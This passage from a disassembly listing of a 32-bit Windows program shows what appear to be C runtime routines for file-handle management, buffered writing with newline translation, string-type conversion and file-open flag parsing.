--------------------------------------------------------------------------- loc_42B99E: ; CODE XREF: sub_42B930+4Ej mov ecx, [ebp+arg_4] push ecx push 0FFFFFFF4h call dword_4F12F8 ; SetStdHandle loc_42B9AA: ; CODE XREF: sub_42B930+36j ; sub_42B930+50j ... mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, dword_4EFC40[edx*4] mov edx, [ebp+arg_4] mov [ecx+eax], edx xor eax, eax jmp short loc_42B9E3 ; --------------------------------------------------------------------------- loc_42B9CA: ; CODE XREF: sub_42B930+Dj ; sub_42B930+2Dj call sub_4248A0 mov dword ptr [eax], 9 call sub_4248B0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_42B9E3: ; CODE XREF: sub_42B930+98j mov esp, ebp pop ebp retn sub_42B930 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B9F0 proc near ; CODE XREF: sub_41F5F0+69p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, dword_4EFD40 jnb loc_42BAAB mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4EFC40[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jz loc_42BAAB mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, dword_4EFC40[edx*4] cmp dword ptr [ecx+eax], 0FFFFFFFFh jz short loc_42BAAB cmp dword_451124, 1 jnz short loc_42BA8A mov edx, [ebp+arg_0] mov [ebp+var_4], edx cmp [ebp+var_4], 0 jz short loc_42BA68 cmp [ebp+var_4], 1 jz short loc_42BA74 cmp [ebp+var_4], 2 jz short loc_42BA80 jmp short loc_42BA8A ; --------------------------------------------------------------------------- loc_42BA68: ; CODE XREF: sub_42B9F0+68j push 0 push 0FFFFFFF6h call dword_4F12F8 ; SetStdHandle jmp short loc_42BA8A ; --------------------------------------------------------------------------- loc_42BA74: ; CODE XREF: sub_42B9F0+6Ej push 0 push 0FFFFFFF5h call dword_4F12F8 ; SetStdHandle jmp short loc_42BA8A ; --------------------------------------------------------------------------- loc_42BA80: ; CODE XREF: sub_42B9F0+74j push 0 push 0FFFFFFF4h call dword_4F12F8 ; SetStdHandle loc_42BA8A: ; CODE XREF: sub_42B9F0+5Cj ; sub_42B9F0+76j ... mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4EFC40[eax*4] mov dword ptr [edx+ecx], 0FFFFFFFFh xor eax, eax jmp short loc_42BAC4 ; --------------------------------------------------------------------------- loc_42BAAB: ; CODE XREF: sub_42B9F0+Dj ; sub_42B9F0+33j ... call sub_4248A0 mov dword ptr [eax], 9 call sub_4248B0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_42BAC4: ; CODE XREF: sub_42B9F0+B9j mov esp, ebp pop ebp retn sub_42B9F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BAD0 proc near ; CODE XREF: sub_41F5F0+9p ; sub_41F5F0+24p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] cmp eax, dword_4EFD40 jnb short loc_42BB1B mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4EFC40[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jz short loc_42BB1B mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, dword_4EFC40[edx*4] mov eax, [ecx+eax] jmp short loc_42BB34 ; --------------------------------------------------------------------------- loc_42BB1B: ; CODE XREF: sub_42BAD0+Cj ; sub_42BAD0+2Ej call sub_4248A0 mov dword ptr [eax], 9 call sub_4248B0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_42BB34: ; CODE XREF: sub_42BAD0+49j pop ebp retn sub_42BAD0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 0Ch mov byte ptr [ebp-0Ch], 0 mov eax, [ebp+0Ch] and eax, 8 test eax, eax jz short loc_42BB5D mov cl, [ebp-0Ch] or cl, 20h mov [ebp-0Ch], cl loc_42BB5D: ; CODE XREF: .nsp0:0042BB52j mov edx, [ebp+0Ch] and edx, 4000h test edx, edx jz short loc_42BB72 mov al, [ebp-0Ch] or al, 80h mov [ebp-0Ch], al loc_42BB72: ; CODE XREF: .nsp0:0042BB68j mov ecx, [ebp+0Ch] and ecx, 80h test ecx, ecx jz short loc_42BB88 mov dl, [ebp-0Ch] or dl, 10h mov [ebp-0Ch], dl loc_42BB88: ; CODE XREF: .nsp0:0042BB7Dj mov eax, [ebp+8] push eax call dword_4F12FC ; GetFileType mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jnz short loc_42BBB2 call dword_4F1348 ; RtlGetLastWin32Error push eax call sub_424800 add esp, 4 or eax, 0FFFFFFFFh jmp loc_42BC40 ; --------------------------------------------------------------------------- loc_42BBB2: ; CODE XREF: .nsp0:0042BB99j cmp dword ptr [ebp-4], 2 jnz short loc_42BBC3 mov cl, [ebp-0Ch] or cl, 40h mov [ebp-0Ch], cl jmp short loc_42BBD2 ; --------------------------------------------------------------------------- loc_42BBC3: ; CODE XREF: .nsp0:0042BBB6j cmp dword ptr [ebp-4], 3 jnz short loc_42BBD2 mov dl, [ebp-0Ch] or dl, 8 mov [ebp-0Ch], dl loc_42BBD2: ; CODE XREF: .nsp0:0042BBC1j ; .nsp0:0042BBC7j call sub_42B740 mov [ebp-8], eax cmp dword ptr [ebp-8], 0FFFFFFFFh jnz short loc_42BBFB call sub_4248A0 mov dword ptr [eax], 18h call sub_4248B0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_42BC40 ; --------------------------------------------------------------------------- loc_42BBFB: ; CODE XREF: .nsp0:0042BBDEj mov eax, [ebp+8] push eax mov ecx, [ebp-8] push ecx call sub_42B930 add esp, 8 mov dl, [ebp-0Ch] or dl, 1 mov [ebp-0Ch], dl mov eax, [ebp-8] sar eax, 5 mov ecx, [ebp-8] and ecx, 1Fh imul ecx, 24h mov edx, dword_4EFC40[eax*4] mov al, [ebp-0Ch] mov [edx+ecx+4], al mov ecx, [ebp-8] push ecx call sub_42BCE0 add esp, 4 mov eax, [ebp-8] loc_42BC40: ; CODE XREF: .nsp0:0042BBADj ; .nsp0:0042BBF9j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BC50 proc near ; CODE XREF: sub_41F570+50p ; sub_422100+50p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4EFC40[eax*4] add edx, ecx mov [ebp+var_4], edx mov eax, [ebp+var_4] cmp dword ptr [eax+8], 0 jnz short loc_42BCB1 push 11h call sub_41FB40 add esp, 4 mov ecx, [ebp+var_4] cmp dword ptr [ecx+8], 0 jnz short loc_42BCA7 mov edx, [ebp+var_4] add edx, 0Ch push edx call dword_4F1470 ; InitializeCriticalSection mov eax, [ebp+var_4] mov ecx, [eax+8] add ecx, 1 mov edx, [ebp+var_4] mov [edx+8], ecx loc_42BCA7: ; CODE XREF: sub_42BC50+39j push 11h call sub_41FBE0 add esp, 4 loc_42BCB1: ; CODE XREF: sub_42BC50+26j mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4EFC40[eax*4] lea eax, [edx+ecx+0Ch] push eax call dword_4F1390 ; RtlEnterCriticalSection mov esp, ebp pop ebp retn sub_42BC50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BCE0 proc near ; CODE XREF: sub_41F570+6Bp ; sub_422100+73p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4EFC40[eax*4] lea eax, [edx+ecx+0Ch] push eax call dword_4F138C ; RtlLeaveCriticalSection pop ebp retn sub_42BCE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BD10 proc near ; CODE XREF: sub_41F790+2Fp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, dword_4EFD40 jnb short loc_42BD41 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4EFC40[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_42BD54 loc_42BD41: ; CODE XREF: sub_42BD10+Dj call sub_4248A0 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp loc_42BDDE ; --------------------------------------------------------------------------- loc_42BD54: ; CODE XREF: sub_42BD10+2Fj mov edx, [ebp+arg_0] push edx call sub_42BC50 add esp, 4 mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4EFC40[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 1 test eax, eax jz short loc_42BDBD mov ecx, [ebp+arg_0] push ecx call sub_42BAD0 add esp, 4 push eax call dword_4F12F4 ; FlushFileBuffers test eax, eax jnz short loc_42BDA4 call dword_4F1348 ; RtlGetLastWin32Error mov [ebp+var_4], eax jmp short loc_42BDAB ; --------------------------------------------------------------------------- loc_42BDA4: ; CODE XREF: sub_42BD10+87j mov [ebp+var_4], 0 loc_42BDAB: ; CODE XREF: sub_42BD10+92j cmp [ebp+var_4], 0 jnz short loc_42BDB3 jmp short loc_42BDCF ; --------------------------------------------------------------------------- loc_42BDB3: ; CODE XREF: sub_42BD10+9Fj call sub_4248B0 mov edx, [ebp+var_4] mov [eax], edx loc_42BDBD: ; CODE XREF: sub_42BD10+70j call sub_4248A0 mov dword ptr [eax], 9 mov [ebp+var_4], 0FFFFFFFFh loc_42BDCF: ; CODE XREF: sub_42BD10+A1j mov eax, [ebp+arg_0] push eax call sub_42BCE0 add esp, 4 mov eax, [ebp+var_4] loc_42BDDE: ; CODE XREF: sub_42BD10+3Fj mov esp, ebp pop ebp retn sub_42BD10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BDF0 proc near ; CODE XREF: sub_41F7E0+57p ; sub_422AF0+1C9p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, dword_4EFD40 jnb short loc_42BE21 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4EFC40[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_42BE3C loc_42BE21: ; CODE XREF: sub_42BDF0+Dj call sub_4248A0 mov dword ptr [eax], 9 call sub_4248B0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_42BE6E ; --------------------------------------------------------------------------- loc_42BE3C: ; CODE XREF: sub_42BDF0+2Fj mov edx, [ebp+arg_0] push edx call sub_42BC50 add esp, 4 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_42BE80 add esp, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push eax call sub_42BCE0 add esp, 4 mov eax, [ebp+var_4] loc_42BE6E: ; CODE XREF: sub_42BDF0+4Aj mov esp, ebp pop ebp retn sub_42BDF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BE80 proc near ; CODE XREF: sub_42BDF0+64p ; sub_430DB0+145p var_420 = dword ptr -420h var_41C = byte ptr -41Ch var_418 = dword ptr -418h var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 420h mov [ebp+var_10], 0 mov eax, [ebp+var_10] mov [ebp+var_420], eax cmp [ebp+arg_8], 0 jnz short loc_42BEA6 xor eax, eax jmp loc_42C0EF ; --------------------------------------------------------------------------- loc_42BEA6: ; CODE XREF: sub_42BE80+1Dj mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4EFC40[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 20h test ecx, ecx jz short loc_42BED8 push 2 push 0 mov edx, [ebp+arg_0] push edx call sub_429380 add esp, 0Ch loc_42BED8: ; CODE XREF: sub_42BE80+46j mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4EFC40[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 80h test eax, eax jz loc_42C00C mov ecx, [ebp+arg_4] mov [ebp+var_4], ecx mov [ebp+var_C], 0 loc_42BF0D: ; CODE XREF: sub_42BE80:loc_42C005j mov edx, [ebp+var_4] sub edx, [ebp+arg_4] cmp edx, [ebp+arg_8] jnb loc_42C00A lea eax, [ebp+var_414] mov [ebp+var_8], eax loc_42BF25: ; CODE XREF: sub_42BE80+115j mov ecx, [ebp+var_8] lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jge short loc_42BF97 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jnb short loc_42BF97 mov ecx, [ebp+var_4] mov dl, [ecx] mov [ebp+var_41C], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax movsx ecx, [ebp+var_41C] cmp ecx, 0Ah jnz short loc_42BF81 mov edx, [ebp+var_420] add edx, 1 mov [ebp+var_420], edx mov eax, [ebp+var_8] mov byte ptr [eax], 0Dh mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx loc_42BF81: ; CODE XREF: sub_42BE80+E1j mov edx, [ebp+var_8] mov al, [ebp+var_41C] mov [edx], al mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx jmp short loc_42BF25 ; --------------------------------------------------------------------------- loc_42BF97: ; CODE XREF: sub_42BE80+B6j ; sub_42BE80+C1j push 0 lea edx, [ebp+var_418] push edx mov eax, [ebp+var_8] lea ecx, [ebp+var_414] sub eax, ecx push eax lea edx, [ebp+var_414] push edx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4EFC40[eax*4] mov eax, [edx+ecx] push eax call dword_4F139C ; WriteFile test eax, eax jz short loc_42BFFA mov ecx, [ebp+var_10] add ecx, [ebp+var_418] mov [ebp+var_10], ecx mov edx, [ebp+var_8] lea eax, [ebp+var_414] sub edx, eax cmp [ebp+var_418], edx jge short loc_42BFF8 jmp short loc_42C00A ; --------------------------------------------------------------------------- loc_42BFF8: ; CODE XREF: sub_42BE80+174j jmp short loc_42C005 ; --------------------------------------------------------------------------- loc_42BFFA: ; CODE XREF: sub_42BE80+155j call dword_4F1348 ; RtlGetLastWin32Error mov [ebp+var_C], eax jmp short loc_42C00A ; --------------------------------------------------------------------------- loc_42C005: ; CODE XREF: sub_42BE80:loc_42BFF8j jmp loc_42BF0D ; --------------------------------------------------------------------------- loc_42C00A: ; CODE XREF: sub_42BE80+96j ; sub_42BE80+176j ... jmp short loc_42C05C ; --------------------------------------------------------------------------- loc_42C00C: ; CODE XREF: sub_42BE80+7Aj push 0 lea ecx, [ebp+var_418] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4EFC40[ecx*4] mov ecx, [eax+edx] push ecx call dword_4F139C ; WriteFile test eax, eax jz short loc_42C053 mov [ebp+var_C], 0 mov edx, [ebp+var_418] mov [ebp+var_10], edx jmp short loc_42C05C ; --------------------------------------------------------------------------- loc_42C053: ; CODE XREF: sub_42BE80+1BFj call dword_4F1348 ; RtlGetLastWin32Error mov [ebp+var_C], eax loc_42C05C: ; CODE XREF: sub_42BE80:loc_42C00Aj ; sub_42BE80+1D1j cmp [ebp+var_10], 0 jnz loc_42C0E6 cmp [ebp+var_C], 0 jz short loc_42C09A cmp [ebp+var_C], 5 jnz short loc_42C089 call sub_4248A0 mov dword ptr [eax], 9 call sub_4248B0 mov ecx, [ebp+var_C] mov [eax], ecx jmp short loc_42C095 ; --------------------------------------------------------------------------- loc_42C089: ; CODE XREF: sub_42BE80+1F0j mov edx, [ebp+var_C] push edx call sub_424800 add esp, 4 loc_42C095: ; CODE XREF: sub_42BE80+207j or eax, 0FFFFFFFFh jmp short loc_42C0EF ; --------------------------------------------------------------------------- loc_42C09A: ; CODE XREF: sub_42BE80+1EAj mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4EFC40[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 40h test eax, eax jz short loc_42C0CB mov ecx, [ebp+arg_4] movsx edx, byte ptr [ecx] cmp edx, 1Ah jnz short loc_42C0CB xor eax, eax jmp short loc_42C0EF ; --------------------------------------------------------------------------- loc_42C0CB: ; CODE XREF: sub_42BE80+23Aj ; sub_42BE80+245j call sub_4248A0 mov dword ptr [eax], 1Ch call sub_4248B0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_42C0EF ; --------------------------------------------------------------------------- loc_42C0E6: ; CODE XREF: sub_42BE80+1E0j mov eax, [ebp+var_10] sub eax, [ebp+var_420] loc_42C0EF: ; CODE XREF: sub_42BE80+21j ; sub_42BE80+218j ... mov esp, ebp pop ebp retn sub_42BE80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C100 proc near ; CODE XREF: sub_421E50+98p ; sub_424370+ECp ... var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_438620 push offset sub_42A9E4 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE4h push ebx push esi push edi mov [ebp+var_18], esp cmp dword_4EFAC8, 0 jnz short loc_42C17E lea eax, [ebp+var_1C] push eax push 1 push offset dword_4382B8 push 1 call dword_4F12EC ; GetStringTypeW test eax, eax jz short loc_42C152 mov dword_4EFAC8, 1 jmp short loc_42C17E ; --------------------------------------------------------------------------- loc_42C152: ; CODE XREF: sub_42C100+44j lea ecx, [ebp+var_1C] push ecx push 1 push offset dword_4382B4 push 1 push 0 call dword_4F12F0 ; GetStringTypeA test eax, eax jz short loc_42C177 mov dword_4EFAC8, 2 jmp short loc_42C17E ; --------------------------------------------------------------------------- loc_42C177: ; CODE XREF: sub_42C100+69j xor eax, eax jmp loc_42C2A8 ; --------------------------------------------------------------------------- loc_42C17E: ; CODE XREF: sub_42C100+2Dj ; sub_42C100+50j ... cmp dword_4EFAC8, 2 jnz short loc_42C1B5 cmp [ebp+arg_14], 0 jnz short loc_42C196 mov edx, dword_4EF974 mov [ebp+arg_14], edx loc_42C196: ; CODE XREF: sub_42C100+8Bj mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_14] push ecx call dword_4F12F0 ; GetStringTypeA jmp loc_42C2A8 ; --------------------------------------------------------------------------- loc_42C1B5: ; CODE XREF: sub_42C100+85j cmp dword_4EFAC8, 1 jnz loc_42C2A6 cmp [ebp+arg_10], 0 jnz short loc_42C1D1 mov edx, dword_4EF984 mov [ebp+arg_10], edx loc_42C1D1: ; CODE XREF: sub_42C100+C6j push 0 push 0 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_18] neg edx sbb edx, edx and edx, 8 add edx, 1 push edx mov eax, [ebp+arg_10] push eax call dword_4F1420 ; MultiByteToWideChar mov [ebp+var_20], eax cmp [ebp+var_20], 0 jnz short loc_42C205 xor eax, eax jmp loc_42C2A8 ; --------------------------------------------------------------------------- loc_42C205: ; CODE XREF: sub_42C100+FCj mov [ebp+var_4], 0 mov eax, [ebp+var_20] shl eax, 1 add eax, 3 and al, 0FCh call sub_41BC60 mov [ebp+var_2C], esp mov [ebp+var_18], esp mov ecx, [ebp+var_2C] mov [ebp+var_24], ecx mov edx, [ebp+var_20] shl edx, 1 push edx push 0 mov eax, [ebp+var_24] push eax call sub_41B190 add esp, 0Ch mov [ebp+var_4], 0FFFFFFFFh jmp short loc_42C25B ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_24], 0 mov [ebp+var_4], 0FFFFFFFFh loc_42C25B: ; CODE XREF: sub_42C100+142j cmp [ebp+var_24], 0 jnz short loc_42C265 xor eax, eax jmp short loc_42C2A8 ; --------------------------------------------------------------------------- loc_42C265: ; CODE XREF: sub_42C100+15Fj mov ecx, [ebp+var_20] push ecx mov edx, [ebp+var_24] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx push 1 mov edx, [ebp+arg_10] push edx call dword_4F1420 ; MultiByteToWideChar mov [ebp+var_28], eax cmp [ebp+var_28], 0 jnz short loc_42C28E xor eax, eax jmp short loc_42C2A8 ; --------------------------------------------------------------------------- loc_42C28E: ; CODE XREF: sub_42C100+188j mov eax, [ebp+arg_C] push eax mov ecx, [ebp+var_28] push ecx mov edx, [ebp+var_24] push edx mov eax, [ebp+arg_0] push eax call dword_4F12EC ; GetStringTypeW jmp short loc_42C2A8 ; --------------------------------------------------------------------------- loc_42C2A6: ; CODE XREF: sub_42C100+BCj xor eax, eax loc_42C2A8: ; CODE XREF: sub_42C100+79j ; sub_42C100+B0j ... lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42C100 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C2C0 proc near ; CODE XREF: sub_421F10+A1p ; sub_422AF0+137p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi loc_42C2C7: ; CODE XREF: sub_42C2C0+2Fj cmp [ebp+arg_0], 0 jnz short loc_42C2EB push offset dword_437514 push 0 push 2Eh push offset dword_43862C push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_42C2EB int 3 ; Trap to Debugger loc_42C2EB: ; CODE XREF: sub_42C2C0+Bj ; sub_42C2C0+28j xor eax, eax test eax, eax jnz short loc_42C2C7 mov ecx, dword_4EF8EC add ecx, 1 mov dword_4EF8EC, ecx mov edx, [ebp+arg_0] mov [ebp+var_4], edx push 3Bh push offset dword_43862C push 2 push 1000h call sub_418EF0 add esp, 10h mov ecx, [ebp+var_4] mov [ecx+8], eax mov edx, [ebp+var_4] cmp dword ptr [edx+8], 0 jz short loc_42C346 mov eax, [ebp+var_4] mov ecx, [eax+0Ch] or ecx, 8 mov edx, [ebp+var_4] mov [edx+0Ch], ecx mov eax, [ebp+var_4] mov dword ptr [eax+18h], 1000h jmp short loc_42C36B ; --------------------------------------------------------------------------- loc_42C346: ; CODE XREF: sub_42C2C0+69j mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] or edx, 4 mov eax, [ebp+var_4] mov [eax+0Ch], edx mov ecx, [ebp+var_4] add ecx, 14h mov edx, [ebp+var_4] mov [edx+8], ecx mov eax, [ebp+var_4] mov dword ptr [eax+18h], 2 loc_42C36B: ; CODE XREF: sub_42C2C0+84j mov ecx, [ebp+var_4] mov edx, [ebp+var_4] mov eax, [edx+8] mov [ecx], eax mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 0 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42C2C0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 lea eax, [ebp+10h] mov [ebp-8], eax mov ecx, [ebp-8] add ecx, 4 mov [ebp-8], ecx mov edx, [ebp-8] mov eax, [edx-4] mov [ebp-4], eax mov dword ptr [ebp-8], 0 mov ecx, [ebp-4] push ecx push 40h mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_42C3D0 add esp, 10h mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C3D0 proc near ; CODE XREF: sub_4225E0+2B0p ; .nsp0:0042C3C3p var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 48h mov [ebp+var_24], 0Ch mov [ebp+var_20], 0 mov eax, [ebp+arg_4] and eax, 80h test eax, eax jz short loc_42C3FD mov [ebp+var_1C], 0 mov [ebp+var_38], 10h jmp short loc_42C408 ; --------------------------------------------------------------------------- loc_42C3FD: ; CODE XREF: sub_42C3D0+1Ej mov [ebp+var_1C], 1 mov [ebp+var_38], 0 loc_42C408: ; CODE XREF: sub_42C3D0+2Bj mov ecx, [ebp+arg_4] and ecx, 8000h test ecx, ecx jnz short loc_42C441 mov edx, [ebp+arg_4] and edx, 4000h test edx, edx jz short loc_42C42C mov al, [ebp+var_38] or al, 80h mov [ebp+var_38], al jmp short loc_42C441 ; --------------------------------------------------------------------------- loc_42C42C: ; CODE XREF: sub_42C3D0+50j cmp dword_4EFBF8, 8000h jz short loc_42C441 mov cl, [ebp+var_38] or cl, 80h mov [ebp+var_38], cl loc_42C441: ; CODE XREF: sub_42C3D0+43j ; sub_42C3D0+5Aj ... mov edx, [ebp+arg_4] and edx, 3 mov [ebp+var_40], edx cmp [ebp+var_40], 0 jz short loc_42C45E cmp [ebp+var_40], 1 jz short loc_42C467 cmp [ebp+var_40], 2 jz short loc_42C470 jmp short loc_42C479 ; --------------------------------------------------------------------------- loc_42C45E: ; CODE XREF: sub_42C3D0+7Ej mov [ebp+var_34], 80000000h jmp short loc_42C497 ; --------------------------------------------------------------------------- loc_42C467: ; CODE XREF: sub_42C3D0+84j mov [ebp+var_34], 40000000h jmp short loc_42C497 ; --------------------------------------------------------------------------- loc_42C470: ; CODE XREF: sub_42C3D0+8Aj mov [ebp+var_34], 0C0000000h jmp short loc_42C497 ; --------------------------------------------------------------------------- loc_42C479: ; CODE XREF: sub_42C3D0+8Cj call sub_4248A0 mov dword ptr [eax], 16h call sub_4248B0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp loc_42C8DA ; --------------------------------------------------------------------------- loc_42C497: ; CODE XREF: sub_42C3D0+95j ; sub_42C3D0+9Ej ... mov eax, [ebp+arg_8] mov [ebp+var_44], eax mov ecx, [ebp+var_44] sub ecx, 10h mov [ebp+var_44], ecx cmp [ebp+var_44], 30h ja short loc_42C4E2 mov eax, [ebp+var_44] xor edx, edx mov dl, byte_42C8F2[eax] jmp off_42C8DE[edx*4] loc_42C4BE: ; DATA XREF: .nsp0:off_42C8DEo mov [ebp+var_8], 0 jmp short loc_42C500 ; --------------------------------------------------------------------------- loc_42C4C7: ; CODE XREF: sub_42C3D0+E7j ; DATA XREF: .nsp0:0042C8E2o mov [ebp+var_8], 1 jmp short loc_42C500 ; --------------------------------------------------------------------------- loc_42C4D0: ; CODE XREF: sub_42C3D0+E7j ; DATA XREF: .nsp0:0042C8E6o mov [ebp+var_8], 2 jmp short loc_42C500 ; --------------------------------------------------------------------------- loc_42C4D9: ; CODE XREF: sub_42C3D0+E7j ; DATA XREF: .nsp0:0042C8EAo mov [ebp+var_8], 3 jmp short loc_42C500 ; --------------------------------------------------------------------------- loc_42C4E2: ; CODE XREF: sub_42C3D0+DAj ; sub_42C3D0+E7j ; DATA XREF: ... call sub_4248A0 mov dword ptr [eax], 16h call sub_4248B0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp loc_42C8DA ; --------------------------------------------------------------------------- loc_42C500: ; CODE XREF: sub_42C3D0+F5j ; 